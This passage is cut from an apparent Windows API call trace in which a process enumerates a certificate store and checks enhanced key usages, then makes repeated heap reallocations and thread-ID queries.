pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.716] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x334ca80, pcbUsage=0x9ba874 | out: pUsage=0x334ca80, pcbUsage=0x9ba874) returned 1 [0081.716] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24af0 [0081.716] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.716] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f6b20, pcbUsage=0x9ba874 | out: pUsage=0x33f6b20, pcbUsage=0x9ba874) returned 1 [0081.716] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.717] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.717] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d700, pcbUsage=0x9ba874 | out: pUsage=0x334d700, pcbUsage=0x9ba874) returned 1 [0081.717] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.717] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.717] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2c374c0, pcbUsage=0x9ba874 | out: pUsage=0x2c374c0, pcbUsage=0x9ba874) returned 1 [0081.717] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.717] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.717] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a193b8, pcbUsage=0x9ba874 | out: pUsage=0x2a193b8, pcbUsage=0x9ba874) returned 1 [0081.717] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.717] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.717] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b9478, pcbUsage=0x9ba874 | out: pUsage=0x35b9478, pcbUsage=0x9ba874) returned 1 [0081.717] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.718] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.718] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x334d3e0, pcbUsage=0x9ba874 | out: pUsage=0x334d3e0, pcbUsage=0x9ba874) returned 1 [0081.718] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.718] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.718] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a18ef0, pcbUsage=0x9ba874 | out: pUsage=0x2a18ef0, pcbUsage=0x9ba874) returned 1 [0081.718] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.718] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.718] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.718] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.718] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.718] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x31de680, pcbUsage=0x9ba874 | out: pUsage=0x31de680, pcbUsage=0x9ba874) returned 1 [0081.718] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.718] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.719] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33e7b70, pcbUsage=0x9ba874 | out: pUsage=0x33e7b70, pcbUsage=0x9ba874) returned 1 [0081.719] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.719] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.719] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d340, pcbUsage=0x9ba874 | out: pUsage=0x334d340, pcbUsage=0x9ba874) returned 1 [0081.719] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.719] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.719] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d700, pcbUsage=0x9ba874 | out: pUsage=0x334d700, pcbUsage=0x9ba874) returned 1 [0081.719] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.719] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.719] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x334ca80, pcbUsage=0x9ba874 | out: pUsage=0x334ca80, pcbUsage=0x9ba874) returned 1 [0081.719] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.719] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.720] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.720] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.720] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.720] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2c375e8, pcbUsage=0x9ba874 | out: pUsage=0x2c375e8, pcbUsage=0x9ba874) returned 1 [0081.720] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24cd0 [0081.720] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.720] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x334d840, pcbUsage=0x9ba874 | out: pUsage=0x334d840, pcbUsage=0x9ba874) returned 1 [0081.720] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.722] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.722] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a18c20, pcbUsage=0x9ba874 | out: pUsage=0x2a18c20, pcbUsage=0x9ba874) returned 1 [0081.722] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.722] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.722] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b9700, pcbUsage=0x9ba874 | out: pUsage=0x35b9700, pcbUsage=0x9ba874) returned 1 [0081.722] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.722] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.722] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x334c9e0, pcbUsage=0x9ba874 | out: pUsage=0x334c9e0, pcbUsage=0x9ba874) returned 1 [0081.722] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.722] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.723] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f63a0, pcbUsage=0x9ba874 | out: pUsage=0x33f63a0, pcbUsage=0x9ba874) returned 1 [0081.723] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.723] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.723] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1a10, pcbUsage=0x9ba874 | out: pUsage=0x33d1a10, pcbUsage=0x9ba874) returned 1 [0081.723] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.723] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.723] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d840, pcbUsage=0x9ba874 | out: pUsage=0x334d840, pcbUsage=0x9ba874) returned 1 [0081.723] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.723] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.723] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de680, pcbUsage=0x9ba874 | out: pUsage=0x31de680, pcbUsage=0x9ba874) returned 1 [0081.723] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b90 [0081.723] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.723] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x334d2a0, pcbUsage=0x9ba874 | out: pUsage=0x334d2a0, pcbUsage=0x9ba874) returned 1 [0081.724] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24af0 [0081.724] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.724] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d160, pcbUsage=0x9ba874 | out: pUsage=0x334d160, pcbUsage=0x9ba874) returned 1 [0081.724] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.724] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.724] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.724] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.724] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.725] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.725] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.725] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.729] CertCloseStore (hCertStore=0x1060f98, dwFlags=0x0) returned 1 [0081.747] GetCurrentThreadId () returned 0x9b0 [0081.748] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371cd80, Size=0x19ca) returned 0x371cd80 [0081.748] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371cd80, Size=0x200e) returned 0x371cd80 [0081.748] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371cd80, Size=0x2805) returned 0x371ed98 [0081.748] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371ed98, Size=0x31ed) returned 0x371ed98 [0081.748] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371ed98, Size=0x3981) returned 0x3721f90 [0081.748] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3721f90, Size=0x4606) returned 0x371b410 [0081.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x510c) returned 0x371b410 [0081.749] GetCurrentThreadId () returned 0x9b0 [0081.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x5fb3) returned 0x371b410 [0081.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x6ed6) returned 0x371b410 [0081.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x7df8) returned 0x371b410 [0081.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x8ea1) returned 0x371b410 [0081.749] GetCurrentThreadId () returned 0x9b0 [0081.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0xa19e) returned 0x371b410 [0081.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0xb607) returned 0x37255b8 [0081.750] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37255b8, Size=0xd343) returned 0x3730bc8 [0081.751] GetCurrentThreadId () returned 0x9b0 [0081.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3730bc8, Size=0xeff3) returned 0x3730bc8 [0081.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3730bc8, Size=0x1128d) returned 0x371b410 [0081.751] GetCurrentThreadId () returned 0x9b0 [0081.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x136e3) returned 0x371b410 [0081.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x16022) returned 0x371b410 [0081.751] GetCurrentThreadId () returned 0x9b0 [0081.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x18f15) returned 0x371b410 [0081.751] GetCurrentThreadId () returned 0x9b0 [0081.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x1c2cd) returned 0x371b410 [0081.751] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x1fe20) returned 0x371b410 [0081.752] GetCurrentThreadId () returned 0x9b0 [0081.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x23f5c) returned 0x371b410 [0081.752] GetCurrentThreadId () returned 0x9b0 [0081.752] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x28caa) returned 0x373f378 [0081.754] GetCurrentThreadId () returned 0x9b0 [0081.755] GetCurrentThreadId () returned 0x9b0 [0081.755] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x373f378, Size=0x2e29f) returned 0x3768030 [0081.758] GetCurrentThreadId () returned 0x9b0 [0081.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3768030, Size=0x343f9) returned 0x371b410 [0081.758] GetCurrentThreadId () returned 0x9b0 [0081.758] GetCurrentThreadId () returned 0x9b0 [0081.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x3ae7f) returned 0x371b410 [0081.758] GetCurrentThreadId () returned 0x9b0 [0081.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x427ea) returned 0x371b410 [0081.758] GetCurrentThreadId () returned 0x9b0 [0081.758] GetCurrentThreadId () returned 0x9b0 [0081.758] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x4b236) returned 0x371b410 [0081.758] GetCurrentThreadId () returned 0x9b0 [0081.759] GetCurrentThreadId () returned 0x9b0 [0081.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x54967) returned 0x371b410 [0081.759] GetCurrentThreadId () returned 0x9b0 [0081.759] GetCurrentThreadId () returned 0x9b0 [0081.759] GetCurrentThreadId () returned 0x9b0 [0081.759] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x371b410, Size=0x5f733) returned 0x371b410 [0081.759] GetCurrentThreadId () returned 0x9b0 [0081.759] GetCurrentThreadId () returned 0x9b0 [0081.759] GetCurrentThreadId () returned 0x9b0 [0081.759] GetCurrentThreadId () returned 0x9b0 [0081.759] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.760] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.761] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.762] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.763] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.764] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.765] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.766] GetCurrentThreadId () returned 0x9b0 [0081.767] GetCurrentThreadId () returned 0x9b0 [0081.767] GetCurrentThreadId () returned 0x9b0 [0081.767] GetCurrentThreadId () returned 0x9b0 [0081.767] GetCurrentThreadId () returned 0x9b0 [0081.767] GetCurrentThreadId () returned 0x9b0 [0081.767] GetCurrentThreadId () returned 0x9b0 [0081.767] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.770] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.771] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.772] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.773] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.774] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] GetCurrentThreadId () returned 0x9b0 [0081.775] 